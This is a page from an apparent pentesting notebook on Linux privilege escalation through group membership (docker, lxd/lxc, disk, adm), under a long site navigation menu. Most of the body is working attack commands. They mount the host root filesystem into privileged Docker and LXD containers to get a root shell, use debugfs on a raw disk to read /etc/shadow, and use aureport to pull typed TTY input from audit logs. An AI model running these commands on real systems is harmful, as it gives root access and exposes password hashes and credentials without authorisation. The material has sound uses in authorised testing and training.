Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Docker
  • LXD / LXC
  • disk
  • adm

Was this helpful?

  1. Pentesting Process
  2. Privilege Escalation
  3. Linux

Linux Privilege Escalation with Groups

Contains the details of the topic Privilege Escalation/Linux/Functionality/Groups.

Last updated 3 months ago

Was this helpful?

Docker

A Docker socket is a special file that allows us and processes to communicate with the Docker daemon. This communication is done through a Unix socket or a network socket, depending on the configuration of our Docker setup. It acts as a bridge, facilitating communication between the Docker client and the Docker daemon.

  • Identify where docker.sock is found (usually in /var/run).

  • Check if you have docker group, docker with SUID, docker in sudoers or docker.sock is writable

  • If it is not present on the host, upload docker. Download .

docker run -v /root:/mnt -it ubuntu
docker -H unix://<PATH_docker.sock> ps

We can create our own Docker container that maps the host root directory (/) to the /hostsystem directory on the container. With this, we will have complete access to the host system. Therefore, we need to map these directories accordingly and use the <NAME_IMMAGE> docker image.

docker -H unix://<PATH_docker.sock> run --rm -d --privileged -v /:/hostsystem <NAME_IMMAGE>

Display container ID and access.

docker -H unix://<PATH_docker.sock> ps  # sign ID
docker -H unix://<PATH_docker.sock> exec -it <ID> /bin/bash

Display available docker images

docker image ls
docker -H unix://<PATH_docker.sock> run -v /:/mnt --rm -it <NAME_IMMAGE> chroot /mnt bash

LXD / LXC

Linux Containers (LXC) is an operating system-level virtualization technique that allows multiple Linux systems to run in isolation from each other on a single host, owning their own processes but sharing the host system kernel for them.

Linux Daemon (LXD) is similar in some aspects, but it is designed to contain a complete operating system. So it is not an application container, but a system container.

We must be in the lxco lxd group.

Initialization

lxd init

Import images (use those on the system or download alpine)

lxc image import alpine.tar.gz --alias alpine

Display imported list

lxc image list

Start a privileged container with the security.privileged (root user in the container equal to the root user on the host)

lxc init alpine r00t -c security.privileged=true

Mount the host file system

lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Generate a shell within the container instance and explore the host file system.

lxc start r00t
lxc exec r00t /bin/sh
cd /mnt/root/root

disk

All access in /dev, debugfs to access the entire file system

df -h
debugfs <Filesystem>
# see Filesystem & Mounted on

ex.

debugfs /dev/sda2
> cd /root
> cat /etc/shadow

adm

Read sensitive data in /var/log, cron jobs running, etc.

aureport --tty | less

We can try with

HERE
aureport